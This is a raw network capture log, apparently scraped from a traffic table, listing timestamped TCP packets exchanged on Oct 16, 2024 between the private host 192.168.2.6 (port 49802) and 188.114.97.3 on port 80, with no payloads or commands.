                                                                                    Oct 16, 2024 10:58:22.849045992 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849062920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849069118 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849076033 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849086046 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849098921 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849109888 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849111080 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849133968 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849149942 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849195004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849205971 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849221945 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849231958 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849250078 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849253893 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849261999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849272966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849283934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849292040 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849293947 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849307060 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849308968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849322081 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849324942 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849343061 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849351883 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849361897 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849365950 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849375963 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849386930 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849400043 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849397898 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849420071 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849426031 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849437952 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849440098 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849448919 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849458933 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849464893 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849483967 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849503040 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849531889 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849541903 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849551916 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849560976 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849569082 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849579096 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849581957 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849592924 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849605083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849613905 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849642992 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849667072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849678040 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849687099 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849695921 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849705935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849710941 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849720001 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849725962 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849730968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849740982 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849746943 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849761009 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849766970 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849771976 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849783897 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849791050 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849796057 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849807024 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849814892 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849836111 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849848032 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.850018978 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.850060940 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.850081921 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.850095034 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.850125074 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.850164890 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.850177050 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.850188017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.850198030 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.850204945 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.850209951 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.850228071 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.850244999 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.850249052 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.850260973 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.850271940 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.850282907 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.850285053 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.850294113 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.850303888 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.850306988 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.850321054 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.850341082 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.850353003 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.850353003 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.850428104 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.851003885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.851030111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.851039886 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.851041079 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.851075888 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.882246017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.882261992 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.882306099 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.882355928 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.909039021 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.909060001 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.909073114 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.909084082 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.909095049 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.909106016 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.909117937 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.909118891 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.909174919 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.909177065 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.909178019 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.909178019 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.909233093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.909250975 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.909260988 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.909271002 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.909282923 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.909297943 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.909317017 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.944555998 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.944581032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.944591999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.944602966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.944622993 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.944703102 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.944703102 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.961535931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.961549044 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.961561918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.961577892 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.961592913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.961591959 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.961604118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.961615086 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.961623907 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.961632967 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.961632967 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.961646080 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.961658001 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.965881109 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.965905905 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.965917110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.965933084 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.965958118 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.965997934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966007948 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966017008 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966027021 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966032982 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966039896 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966057062 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966078043 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966078997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966095924 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966106892 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966114998 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966125011 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966126919 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966144085 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966166973 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966308117 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966319084 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966327906 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966337919 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966347933 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966351986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966362953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966372013 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966375113 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966383934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966392040 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966394901 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966404915 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966407061 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966415882 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966430902 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966434002 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966445923 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966455936 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966459990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966470003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966480017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966484070 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966491938 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966509104 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966523886 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966562986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966573954 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966583014 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966600895 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966609001 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966614962 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966620922 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966633081 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966636896 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966644049 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966655016 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966670990 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966684103 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966734886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966744900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966754913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966766119 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966772079 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966778040 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966788054 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966793060 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966799974 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966809988 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966816902 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966841936 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966871977 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966881037 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966890097 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966900110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966906071 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966912985 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966924906 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966936111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966967106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966975927 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966976881 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966986895 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.966989994 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.966989994 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.967000008 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.967003107 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967014074 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967020035 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.967025042 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967045069 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.967060089 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.967109919 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967119932 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967129946 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967138052 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967142105 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.967155933 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.967159986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967170000 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967186928 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.967202902 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967214108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967221975 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.967221975 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967251062 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.967262030 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.967339039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967348099 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967355967 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967367887 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967376947 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967381954 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.967401981 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967402935 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.967410088 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.967413902 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.967448950 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.968003035 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.968022108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.968030930 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.968045950 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.968063116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.026663065 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.026678085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.026689053 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.026706934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.026716948 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.026727915 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.026737928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.026761055 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.026812077 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.026963949 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.026981115 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.026992083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.027002096 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.027010918 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.027014017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.027030945 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.027036905 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.027049065 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.027061939 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.027066946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.027091026 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.027112961 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.061758041 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.061772108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.061781883 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.061815977 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.061865091 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.078357935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.078371048 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.078443050 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.078455925 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.078465939 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.078484058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.078494072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.078505039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.078514099 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.078515053 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.078532934 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.078550100 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083209991 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083228111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083239079 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083247900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083259106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083275080 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083311081 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083417892 CEST8049802188.114.97.3192.168.2.6
